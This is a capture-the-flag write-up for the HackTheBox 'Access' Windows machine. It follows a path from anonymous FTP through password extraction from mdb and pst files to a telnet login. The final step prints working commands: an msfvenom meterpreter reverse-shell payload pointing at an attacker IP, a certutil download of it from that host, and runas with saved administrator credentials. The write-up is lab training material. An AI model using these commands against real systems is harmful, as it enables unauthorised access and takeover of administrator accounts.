Access @ HackTheBox
In this short writeup I will show how I completed Access on hackthebox.eu, a quite easy windows box that involves parsing credentials from ms office files, converting mail formats and accessing saved windows credentials.
The initial scan shows the following results:
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
|_ SYST: Windows_NT
23/tcp open telnet?
80/tcp open http Microsoft IIS httpd 7.5
|_ Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
FTP can be accessed anonymously and allows to download 2 files,
Engineer\Access Control.zip. The zip file is protected with a password so the first thing I look at is the mdb file. There are some tools like mdb-tools that can parse so mdb format just fine but I decided that a quick string search with
strings -n12 might be enough:
This looks like username, password or mail address. Since we just found potential passwords we try them on the archive and
access4u@security finally allows to unpack it. From the archive the file
Access Control.pst is obtained, which is a file format for mails used by Microsoft. With
readpst 'Access Control.pst' && cat 'Access Control.mbox I convert it to the mbox format to make it readable and find another password inside:
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.
With these credentials it is possible to telnet into the box as user security and read the user flag.
Doing the usual enumeration I eventually check for stored credentials with
cmdkey /list which shows that there are indeed stored ones for the administrator user:
Currently stored credentials:
Type: Domain Password
To get a root shell I generate a simple meterpreter reverse shell with
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.219 LPORT=5555 -f exe > xct.exe, download it with certutil
certutil.exe -urlcache -split -f http://10.10.14.219:8000/xct.exe xct.exe and execute it with runas
runas /user:administrator /savecred "xct.exe", which results in a root shell.